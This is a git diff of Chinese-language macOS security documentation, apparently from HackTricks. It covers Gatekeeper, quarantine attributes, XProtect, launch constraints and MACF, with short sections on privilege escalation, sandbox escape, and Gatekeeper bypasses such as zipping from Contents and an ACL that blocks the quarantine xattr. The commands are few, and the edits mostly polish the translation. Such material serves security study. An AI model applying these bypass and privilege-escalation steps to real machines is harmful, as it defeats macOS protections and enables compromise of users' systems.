在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果你将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
|
||||
|
||||
@ -248,7 +248,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
|
||||
# You can also create a dmg from an app using:
|
||||
hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
```
|
||||
通常,macOS 通过 `com.apple.DiskArbitrarion.diskarbitrariond` Mach 服务(由 `/usr/libexec/diskarbitrationd` 提供)挂载磁盘。如果在 LaunchDaemons plist 文件中添加参数 `-d` 并重启,它将把日志存储在 `/var/log/diskarbitrationd.log` 中。\
|
||||
通常,macOS 通过与 `com.apple.DiskArbitrarion.diskarbitrariond` Mach 服务(由 `/usr/libexec/diskarbitrationd` 提供)进行通信来挂载磁盘。如果在 LaunchDaemons plist 文件中添加参数 `-d` 并重启,它将把日志存储在 `/var/log/diskarbitrationd.log` 中。\
|
||||
然而,可以使用像 `hdik` 和 `hdiutil` 这样的工具直接与 `com.apple.driver.DiskImages` kext 进行通信。
|
||||
|
||||
## 任意写入
|
||||
@ -261,7 +261,7 @@ hdiutil create -srcfolder justsome.app justsome.dmg
|
||||
|
||||
### 守护进程
|
||||
|
||||
编写一个任意的 **LaunchDaemon**,如 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**,其中 plist 执行一个任意脚本,如:
|
||||
编写一个任意的 **LaunchDaemon**,例如 **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`**,其中 plist 执行一个任意脚本,如:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -306,13 +306,13 @@ LogFilePerm 777
|
||||
|
||||
然后,再次修改文件 `/etc/cups/cups-files.conf`,指示 `LogFilePerm 700`,以便新的 sudoers 文件在调用 `cupsctl` 时变得有效。
|
||||
|
||||
### 沙箱逃逸
|
||||
### 沙盒逃逸
|
||||
|
||||
可以通过 FS 任意写入来逃逸 macOS 沙箱。有关一些示例,请查看页面 [macOS Auto Start](../../../../macos-auto-start-locations.md),但一个常见的例子是在 `~/Library/Preferences/com.apple.Terminal.plist` 中写入一个终端首选项文件,该文件在启动时执行一个命令,并使用 `open` 调用它。
|
||||
可以通过 FS 任意写入来逃逸 macOS 沙盒。有关一些示例,请查看页面 [macOS Auto Start](../../../../macos-auto-start-locations.md),但一个常见的例子是在 `~/Library/Preferences/com.apple.Terminal.plist` 中写入一个终端首选项文件,该文件在启动时执行一个命令,并使用 `open` 调用它。
|
||||
|
||||
## 生成可写文件作为其他用户
|
||||
## 生成其他用户可写的文件
|
||||
|
||||
这将生成一个属于 root 的文件,我可以写入([**代码来自这里**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。这也可能作为权限提升有效:
|
||||
这将生成一个属于 root 的文件,我可以写入([**代码来自这里**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh))。这也可能作为权限提升的手段:
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** 是为 Mac 操作系统开发的安全功能,旨在确保用户 **仅运行受信任的软件**。它通过 **验证软件** 来实现,用户下载并尝试从 **App Store 以外的来源** 打开软件,例如应用程序、插件或安装包。
|
||||
**Gatekeeper** 是为 Mac 操作系统开发的安全功能,旨在确保用户 **仅运行受信任的软件**。它通过 **验证软件** 来实现这一点,用户下载并尝试从 **App Store 以外的来源** 打开软件,例如应用程序、插件或安装包。
|
||||
|
||||
Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件是否 **由认可的开发者签名**,以确保软件的真实性。此外,它还确认该软件是否 **经过 Apple 的公证**,以确认其不含已知恶意内容,并且在公证后未被篡改。
|
||||
|
||||
@ -16,13 +16,13 @@ Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件
|
||||
|
||||
其工作原理如下:
|
||||
|
||||
1. **签名应用程序:** 当开发者准备分发其应用程序时,他们 **使用私钥签名应用程序**。此私钥与 **Apple 在开发者注册 Apple Developer Program 时向开发者颁发的证书** 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥加密此哈希。
|
||||
1. **签名应用程序:** 当开发者准备分发其应用程序时,他们 **使用私钥签名应用程序**。此私钥与 **Apple 在开发者注册 Apple Developer Program 时向开发者颁发的证书** 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥对该哈希进行加密。
|
||||
2. **分发应用程序:** 签名的应用程序随后与开发者的证书一起分发给用户,该证书包含相应的公钥。
|
||||
3. **验证应用程序:** 当用户下载并尝试运行应用程序时,他们的 Mac 操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密后的哈希进行比较。如果它们匹配,则意味着 **自开发者签名以来,应用程序未被修改**,系统允许该应用程序运行。
|
||||
3. **验证应用程序:** 当用户下载并尝试运行该应用程序时,他们的 Mac 操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密后的哈希进行比较。如果它们匹配,则意味着 **自开发者签名以来,应用程序未被修改**,系统允许该应用程序运行。
|
||||
|
||||
应用程序签名是 Apple Gatekeeper 技术的重要组成部分。当用户尝试 **打开从互联网下载的应用程序** 时,Gatekeeper 会验证应用程序签名。如果它是由 Apple 向已知开发者颁发的证书签名,并且代码未被篡改,Gatekeeper 允许该应用程序运行。否则,它会阻止该应用程序并提醒用户。
|
||||
|
||||
从 macOS Catalina 开始,**Gatekeeper 还检查应用程序是否经过 Apple 的公证**,增加了一层额外的安全性。公证过程检查应用程序是否存在已知安全问题和恶意代码,如果这些检查通过,Apple 会向应用程序添加一个 Gatekeeper 可以验证的票据。
|
||||
从 macOS Catalina 开始,**Gatekeeper 还检查应用程序是否经过 Apple 的公证**,增加了一层额外的安全性。公证过程检查应用程序是否存在已知的安全问题和恶意代码,如果这些检查通过,Apple 会向应用程序添加一个 Gatekeeper 可以验证的票据。
|
||||
|
||||
#### 检查签名
|
||||
|
||||
@ -45,9 +45,9 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
|
||||
苹果的 notarization 过程作为额外的保护措施,旨在保护用户免受潜在有害软件的影响。它涉及 **开发者提交他们的应用程序进行审查**,由 **苹果的 Notary Service** 进行,这与应用审核不应混淆。该服务是一个 **自动化系统**,对提交的软件进行审查,以检查是否存在 **恶意内容** 以及代码签名的任何潜在问题。
|
||||
苹果的 notarization 过程作为额外的保护措施,旨在保护用户免受潜在有害软件的影响。它涉及 **开发者提交他们的应用程序进行审查**,由 **苹果的 Notary Service** 进行,这与应用审核不应混淆。该服务是一个 **自动化系统**,对提交的软件进行审查,以检查是否存在 **恶意内容** 和任何潜在的代码签名问题。
|
||||
|
||||
如果软件 **通过** 了此检查而没有引发任何问题,Notary Service 将生成一个 notarization 票据。开发者需要 **将此票据附加到他们的软件上**,这个过程称为“stapling”。此外,notarization 票据还会在线发布,Gatekeeper,苹果的安全技术,可以访问它。
|
||||
如果软件 **通过** 了此检查而没有引发任何问题,Notary Service 将生成一个 notarization 票据。开发者需要 **将此票据附加到他们的软件上**,这个过程称为“stapling”。此外,notarization 票据还会在线发布,Gatekeeper(苹果的安全技术)可以访问它。
|
||||
|
||||
在用户首次安装或执行软件时,notarization 票据的存在 - 无论是附加在可执行文件上还是在线找到 - **通知 Gatekeeper 该软件已由苹果进行 notarization**。因此,Gatekeeper 在初始启动对话框中显示描述性消息,指示该软件已通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件安全性的信心。
|
||||
|
||||
@ -56,7 +56,7 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
> [!CAUTION]
|
||||
> 请注意,从 Sequoia 版本开始,**`spctl`** 不再允许修改 Gatekeeper 配置。
|
||||
|
||||
**`spctl`** 是用于枚举和与 Gatekeeper 交互的 CLI 工具(通过 XPC 消息与 `syspolicyd` 守护进程进行交互)。例如,可以使用以下命令查看 GateKeeper 的 **状态**:
|
||||
**`spctl`** 是用于枚举和与 Gatekeeper 交互的 CLI 工具(通过 XPC 消息与 `syspolicyd` 守护进程交互)。例如,可以使用以下命令查看 GateKeeper 的 **状态**:
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
@ -70,7 +70,7 @@ GateKeeper 将检查根据 **首选项和签名** 二进制文件是否可以执
|
||||
|
||||
**`syspolicyd`** 是负责执行 Gatekeeper 的主要守护进程。它维护一个位于 `/var/db/SystemPolicy` 的数据库,可以在 [这里找到支持该数据库的代码](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) 和 [这里找到 SQL 模板](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)。请注意,该数据库不受 SIP 限制,并且可以由 root 写入,数据库 `/var/db/.SystemPolicy-default` 用作原始备份,以防其他数据库损坏。
|
||||
|
||||
此外,**`/var/db/gke.bundle`** 和 **`/var/db/gkopaque.bundle`** 包含插入数据库的规则文件。您可以使用 root 检查此数据库:
|
||||
此外,捆绑包 **`/var/db/gke.bundle`** 和 **`/var/db/gkopaque.bundle`** 包含插入数据库的规则文件。您可以使用 root 检查此数据库:
|
||||
```bash
|
||||
# Open database
|
||||
sqlite3 /var/db/SystemPolicy
|
||||
@ -98,7 +98,7 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
||||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
这些是来自以下位置的哈希值:
|
||||
这些是来自以下位置的哈希:
|
||||
|
||||
- `/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`
|
||||
- `/var/db/gke.bundle/Contents/Resources/gk.db`
|
||||
@ -122,7 +122,7 @@ spctl --master-enable
|
||||
|
||||
<figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
可以通过以下方式**检查一个应用是否会被 GateKeeper 允许**:
|
||||
可以通过以下方式**检查应用程序是否会被 GateKeeper 允许**:
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
@ -145,20 +145,20 @@ spctl --assess -v /Applications/App.app
|
||||
|
||||
### 隔离文件
|
||||
|
||||
在 **下载** 应用程序或文件时,特定的 macOS **应用程序**(如网页浏览器或电子邮件客户端)会为下载的文件 **附加一个扩展文件属性**,通常称为 "**隔离标志**"。此属性作为安全措施,**标记文件** 来自不受信任的来源(互联网),并可能带来风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。
|
||||
在 **下载** 应用程序或文件时,特定的 macOS **应用程序**(如网页浏览器或电子邮件客户端)会为下载的文件 **附加一个扩展文件属性**,通常称为 "**隔离标志**"。该属性作为安全措施,**标记文件** 来自不受信任的来源(互联网),并可能带来风险。然而,并非所有应用程序都会附加此属性,例如,常见的 BitTorrent 客户端软件通常会绕过此过程。
|
||||
|
||||
**隔离标志的存在在用户尝试执行文件时会触发 macOS 的 Gatekeeper 安全功能**。
|
||||
|
||||
如果 **隔离标志不存在**(例如通过某些 BitTorrent 客户端下载的文件),则可能不会执行 Gatekeeper 的 **检查**。因此,用户在打开来自不太安全或未知来源的文件时应谨慎。
|
||||
在 **隔离标志不存在** 的情况下(例如通过某些 BitTorrent 客户端下载的文件),Gatekeeper 的 **检查可能不会执行**。因此,用户在打开来自不太安全或未知来源的文件时应谨慎。
|
||||
|
||||
> [!NOTE] > **检查** 代码签名的 **有效性** 是一个 **资源密集型** 过程,包括生成代码及其所有捆绑资源的加密 **哈希**。此外,检查证书有效性还涉及对 Apple 服务器进行 **在线检查**,以查看其在发放后是否被撤销。因此,完整的代码签名和公证检查在每次启动应用程序时都是 **不切实际的**。
|
||||
> [!NOTE] > **检查** 代码签名的 **有效性** 是一个 **资源密集型** 过程,包括生成代码及其所有捆绑资源的加密 **哈希**。此外,检查证书有效性还涉及对 Apple 服务器进行 **在线检查**,以查看其在发放后是否被撤销。因此,完整的代码签名和公证检查在每次启动应用时都是 **不切实际的**。
|
||||
>
|
||||
> 因此,这些检查 **仅在执行带有隔离属性的应用程序时运行**。
|
||||
> 因此,这些检查 **仅在执行带有隔离属性的应用时运行**。
|
||||
|
||||
> [!WARNING]
|
||||
> 此属性必须由 **创建/下载** 文件的应用程序 **设置**。
|
||||
>
|
||||
> 然而,被沙盒化的文件将对它们创建的每个文件设置此属性。而非沙盒应用程序可以自行设置,或在 **Info.plist** 中指定 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) 键,这将使系统在创建的文件上设置 `com.apple.quarantine` 扩展属性。
|
||||
> 然而,被沙盒化的文件将对它们创建的每个文件设置此属性。而非沙盒应用可以自行设置,或在 **Info.plist** 中指定 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) 键,这将使系统在创建的文件上设置 `com.apple.quarantine` 扩展属性。
|
||||
|
||||
此外,所有调用 **`qtn_proc_apply_to_self`** 的进程创建的文件都将被隔离。或者 API **`qtn_file_apply_to_path`** 会将隔离属性添加到指定的文件路径。
|
||||
|
||||
@ -269,34 +269,34 @@ find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
```bash
|
||||
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
||||
```
|
||||
隔离信息也存储在由 LaunchServices 管理的中央数据库中,位于 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**,这允许 GUI 获取有关文件来源的数据。此外,这可以被可能希望隐藏其来源的应用程序覆盖。此外,这可以通过 LaunchServices API 完成。
|
||||
隔离信息也存储在由LaunchServices管理的中央数据库中,位于**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**,这允许GUI获取有关文件来源的数据。此外,这可以被可能希望隐藏其来源的应用程序覆盖。此外,这可以通过LaunchServices API完成。
|
||||
|
||||
#### **libquarantine.dylb**
|
||||
|
||||
该库导出多个函数,允许操作扩展属性字段。
|
||||
|
||||
`qtn_file_*` API 处理文件隔离策略,`qtn_proc_*` API 应用于进程(由进程创建的文件)。未导出的 `__qtn_syscall_quarantine*` 函数是应用策略的函数,它调用 `mac_syscall`,第一个参数为 "Quarantine",将请求发送到 `Quarantine.kext`。
|
||||
`qtn_file_*` API处理文件隔离策略,`qtn_proc_*` API应用于进程(由进程创建的文件)。未导出的`__qtn_syscall_quarantine*`函数是应用策略的函数,它调用`mac_syscall`,第一个参数为"Quarantine",将请求发送到`Quarantine.kext`。
|
||||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
内核扩展仅通过 **系统上的内核缓存** 可用;然而,您 _可以_ 从 [**https://developer.apple.com/**](https://developer.apple.com/) 下载 **内核调试工具包**,其中将包含该扩展的符号化版本。
|
||||
内核扩展仅通过**系统上的内核缓存**可用;然而,您_可以_从[**https://developer.apple.com/**](https://developer.apple.com/)下载**内核调试工具包**,其中将包含该扩展的符号化版本。
|
||||
|
||||
该 Kext 将通过 MACF 钩住多个调用,以捕获所有文件生命周期事件:创建、打开、重命名、硬链接... 甚至 `setxattr` 以防止其设置 `com.apple.quarantine` 扩展属性。
|
||||
此Kext将通过MACF钩住多个调用,以捕获所有文件生命周期事件:创建、打开、重命名、硬链接...甚至`setxattr`以防止其设置`com.apple.quarantine`扩展属性。
|
||||
|
||||
它还使用了一些 MIB:
|
||||
它还使用了一些MIB:
|
||||
|
||||
- `security.mac.qtn.sandbox_enforce`: 在沙盒中强制执行隔离
|
||||
- `security.mac.qtn.user_approved_exec`: 隔离的进程只能执行已批准的文件
|
||||
- `security.mac.qtn.sandbox_enforce`:在沙箱中强制执行隔离
|
||||
- `security.mac.qtn.user_approved_exec`:被隔离的进程只能执行已批准的文件
|
||||
|
||||
### XProtect
|
||||
|
||||
XProtect 是 macOS 中内置的 **反恶意软件** 功能。XProtect **在应用程序首次启动或修改时检查其与已知恶意软件和不安全文件类型的数据库**。当您通过某些应用程序(如 Safari、Mail 或 Messages)下载文件时,XProtect 会自动扫描该文件。如果它与数据库中的任何已知恶意软件匹配,XProtect 将 **阻止文件运行** 并提醒您存在威胁。
|
||||
XProtect是macOS内置的**反恶意软件**功能。XProtect**在首次启动或修改应用程序时检查其与已知恶意软件和不安全文件类型的数据库**。当您通过某些应用程序(如Safari、Mail或Messages)下载文件时,XProtect会自动扫描该文件。如果它与数据库中的任何已知恶意软件匹配,XProtect将**阻止文件运行**并提醒您存在威胁。
|
||||
|
||||
XProtect 数据库由 Apple **定期更新** 新的恶意软件定义,这些更新会自动下载并安装到您的 Mac 上。这确保了 XProtect 始终与最新已知威胁保持同步。
|
||||
XProtect数据库由Apple**定期更新**新的恶意软件定义,这些更新会自动下载并安装在您的Mac上。这确保了XProtect始终与最新已知威胁保持同步。
|
||||
|
||||
然而,值得注意的是 **XProtect 不是一个功能齐全的防病毒解决方案**。它仅检查特定已知威胁列表,并且不像大多数防病毒软件那样执行按需扫描。
|
||||
然而,值得注意的是,**XProtect并不是一个功能齐全的杀毒解决方案**。它仅检查特定已知威胁列表,并不像大多数杀毒软件那样执行按需扫描。
|
||||
|
||||
您可以通过运行获取有关最新 XProtect 更新的信息:
|
||||
您可以通过运行获取有关最新XProtect更新的信息:
|
||||
```bash
|
||||
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
|
||||
```
|
||||
@ -312,11 +312,11 @@ XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XP
|
||||
### 不是 Gatekeeper
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,Gatekeeper **并不是每次** 执行应用程序时都会执行,只有 _**AppleMobileFileIntegrity**_ (AMFI) 会在执行已经由 Gatekeeper 执行和验证的应用程序时 **验证可执行代码签名**。
|
||||
> 请注意,Gatekeeper **并不是每次** 执行应用程序时都会被执行,只有 _**AppleMobileFileIntegrity**_ (AMFI) 会在执行已经由 Gatekeeper 执行和验证的应用程序时 **验证可执行代码签名**。
|
||||
|
||||
因此,之前可以执行一个应用程序以缓存 Gatekeeper,然后 **修改应用程序的非可执行文件**(如 Electron asar 或 NIB 文件),如果没有其他保护措施,应用程序将 **执行** 带有 **恶意** 附加内容的版本。
|
||||
因此,之前可以执行一个应用程序以便用 Gatekeeper 缓存它,然后 **修改应用程序的非可执行文件**(如 Electron asar 或 NIB 文件),如果没有其他保护措施,应用程序将 **执行** 带有 **恶意** 附加内容的版本。
|
||||
|
||||
然而,现在这已不再可能,因为 macOS **防止修改** 应用程序捆绑包中的文件。因此,如果您尝试 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 攻击,您会发现不再可能利用它,因为在执行应用程序以缓存 Gatekeeper 后,您将无法修改捆绑包。如果您例如将 Contents 目录的名称更改为 NotCon(如漏洞中所示),然后执行应用程序的主二进制文件以缓存 Gatekeeper,将会触发错误并且不会执行。
|
||||
然而,现在这已不再可能,因为 macOS **防止修改** 应用程序捆绑包中的文件。因此,如果您尝试 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 攻击,您会发现不再可能利用它,因为在执行应用程序以用 Gatekeeper 缓存它后,您将无法修改捆绑包。如果您例如将 Contents 目录的名称更改为 NotCon(如漏洞中所示),然后执行应用程序的主二进制文件以用 Gatekeeper 缓存它,将会触发错误并且不会执行。
|
||||
|
||||
## Gatekeeper 绕过
|
||||
|
||||
@ -340,7 +340,7 @@ XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XP
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
在此绕过中,创建了一个 zip 文件,应用程序从 `application.app/Contents` 开始压缩,而不是从 `application.app`。因此,**隔离属性** 应用于所有 **来自 `application.app/Contents` 的文件**,但 **不适用于 `application.app`**,这是 Gatekeeper 检查的内容,因此 Gatekeeper 被绕过,因为当触发 `application.app` 时 **没有隔离属性。**
|
||||
在此绕过中,创建了一个 zip 文件,应用程序从 `application.app/Contents` 开始压缩,而不是 `application.app`。因此,**隔离属性** 应用于所有 **来自 `application.app/Contents` 的文件**,但 **不适用于 `application.app`**,这是 Gatekeeper 检查的内容,因此 Gatekeeper 被绕过,因为当触发 `application.app` 时 **没有隔离属性。**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -365,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
此外,**AppleDouble** 文件格式复制一个文件及其 ACE。
|
||||
|
||||
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到该应用程序中:
|
||||
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
@ -425,7 +425,7 @@ aa archive -d s/ -o app.aar
|
||||
|
||||
### 防止 Quarantine xattr
|
||||
|
||||
在 ".app" 包中,如果没有添加 quarantine xattr,当执行时 **Gatekeeper 不会被触发**。
|
||||
在 ".app" 包中,如果没有添加 quarantine xattr,执行时 **Gatekeeper 不会被触发**。
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -36,7 +36,7 @@ LC 由**事实**和**逻辑操作**(与,或..)组成,结合事实。
|
||||
- 在 /System 内...
|
||||
- ...
|
||||
|
||||
当 Apple 二进制文件被签名时,它**将其分配到信任缓存**中的 LC 类别。
|
||||
当 Apple 二进制文件被签名时,它会**将其分配到信任缓存**中的 LC 类别。
|
||||
|
||||
- **iOS 16 LC 类别**已在此处[**反向工程并记录**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)。
|
||||
- 当前的 **LC 类别(macOS 14 - Sonoma)**已被反向工程,其[**描述可以在这里找到**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53)。
|
||||
@ -54,13 +54,13 @@ Parent Constraint: is-init-proc
|
||||
|
||||
### 反向工程 LC 类别
|
||||
|
||||
您可以在这里找到更多信息 [**关于它**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints),但基本上,它们在 **AMFI (AppleMobileFileIntegrity)** 中定义,因此您需要下载内核开发工具包以获取 **KEXT**。以 **`kConstraintCategory`** 开头的符号是 **有趣** 的。提取它们后,您将获得一个 DER (ASN.1) 编码流,您需要使用 [ASN.1 解码器](https://holtstrom.com/michael/tools/asn1decoder.php) 或 python-asn1 库及其 `dump.py` 脚本 [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) 进行解码,这将为您提供一个更易于理解的字符串。
|
||||
您可以在这里找到更多信息 [**关于它**](https://theevilbit.github.io/posts/launch_constraints_deep_dive/#reversing-constraints),但基本上,它们在 **AMFI (AppleMobileFileIntegrity)** 中定义,因此您需要下载内核开发工具包以获取 **KEXT**。以 **`kConstraintCategory`** 开头的符号是 **有趣** 的。提取它们后,您将获得一个 DER (ASN.1) 编码流,您需要使用 [ASN.1 解码器](https://holtstrom.com/michael/tools/asn1decoder.php) 或 python-asn1 库及其 `dump.py` 脚本 [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) 进行解码,这将为您提供一个更易理解的字符串。
|
||||
|
||||
## 环境约束
|
||||
|
||||
这些是配置在 **第三方应用程序** 中的启动约束。开发人员可以选择在其应用程序中使用的 **事实** 和 **逻辑运算符** 来限制对自身的访问。
|
||||
|
||||
可以使用以下命令枚举应用程序的环境约束:
|
||||
可以使用以下方法枚举应用程序的环境约束:
|
||||
```bash
|
||||
codesign -d -vvvv app.app
|
||||
```
|
||||
@ -143,7 +143,7 @@ uint8_t reserved0;
|
||||
|
||||
此外,启动约束还**缓解降级攻击**。
|
||||
|
||||
然而,它们**并不缓解常见的XPC**滥用、**Electron**代码注入或**dylib注入**,而不进行库验证(除非已知可以加载库的团队ID)。
|
||||
然而,它们**并不缓解常见的XPC**滥用、**Electron**代码注入或**dylib注入**,而不进行库验证(除非可以加载库的团队ID是已知的)。
|
||||
|
||||
### XPC守护进程保护
|
||||
|
||||
@ -156,7 +156,7 @@ uint8_t reserved0;
|
||||
|
||||
### Electron保护
|
||||
|
||||
即使要求应用程序必须由**LaunchService**打开(在父约束中)。这可以通过使用**`open`**(可以设置环境变量)或使用**Launch Services API**(可以指示环境变量)来实现。
|
||||
即使要求应用程序必须**通过LaunchService打开**(在父约束中)。这可以通过使用**`open`**(可以设置环境变量)或使用**Launch Services API**(可以指示环境变量)来实现。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
|
||||
### 标签
|
||||
|
||||
MACF 使用 **标签**,然后策略检查是否应该授予某些访问权限。标签结构声明的代码可以在 [这里](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h) 找到,该代码随后在 [**这里**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) 的 **`struct ucred`** 中使用,位于 **`cr_label`** 部分。标签包含标志和可由 **MACF 策略分配指针** 的 **槽** 数量。例如,Sandbox 将指向容器配置文件。
|
||||
MACF 使用 **标签**,然后策略会检查是否应该授予某些访问权限。标签结构声明的代码可以在 [这里](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h) 找到,该代码随后在 [**这里**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) 的 **`struct ucred`** 中使用,位于 **`cr_label`** 部分。标签包含标志和可由 **MACF 策略分配指针** 的 **槽** 数量。例如,Sandbox 将指向容器配置文件。
|
||||
|
||||
## MACF 策略
|
||||
|
||||
@ -82,25 +82,25 @@ mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
|
||||
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
|
||||
[...]
|
||||
```
|
||||
几乎所有的钩子在拦截这些操作时都会被 MACF 回调。然而,**`mpo_policy_*`** 钩子是一个例外,因为 `mpo_hook_policy_init()` 是在注册时调用的回调(即在 `mac_policy_register()` 之后),而 `mpo_hook_policy_initbsd()` 是在 BSD 子系统正确初始化后进行晚期注册时调用的。
|
||||
几乎所有的钩子在拦截这些操作时都会被MACF回调。然而,**`mpo_policy_*`** 钩子是一个例外,因为 `mpo_hook_policy_init()` 是在注册时调用的回调(即在 `mac_policy_register()` 之后),而 `mpo_hook_policy_initbsd()` 是在BSD子系统正确初始化后进行晚期注册时调用的。
|
||||
|
||||
此外,**`mpo_policy_syscall`** 钩子可以被任何 kext 注册,以暴露一个私有的 **ioctl** 风格调用 **接口**。然后,用户客户端将能够调用 `mac_syscall` (#381),并指定参数为 **策略名称**、一个整数 **代码** 和可选的 **参数**。\
|
||||
此外,**`mpo_policy_syscall`** 钩子可以被任何kext注册,以暴露一个私有的 **ioctl** 风格调用 **接口**。然后,用户客户端将能够调用 `mac_syscall` (#381),并指定参数为 **策略名称** 和一个整数 **代码** 以及可选的 **参数**。\
|
||||
例如,**`Sandbox.kext`** 经常使用这个。
|
||||
|
||||
检查 kext 的 **`__DATA.__const*`** 可以识别在注册策略时使用的 `mac_policy_ops` 结构。可以找到它,因为它的指针在 `mpo_policy_conf` 内部的一个偏移量处,并且因为该区域内将有许多 NULL 指针。
|
||||
检查kext的 **`__DATA.__const*`** 可以识别在注册策略时使用的 `mac_policy_ops` 结构。可以找到它,因为它的指针在 `mpo_policy_conf` 内部的一个偏移量处,并且因为该区域将有许多NULL指针。
|
||||
|
||||
此外,还可以通过从内存中转储结构 **`_mac_policy_list`** 来获取已配置策略的 kext 列表,该结构会随着每个注册的策略而更新。
|
||||
此外,还可以通过从内存中转储结构 **`_mac_policy_list`** 来获取已配置策略的kext列表,该结构会随着每个注册的策略而更新。
|
||||
|
||||
## MACF 初始化
|
||||
|
||||
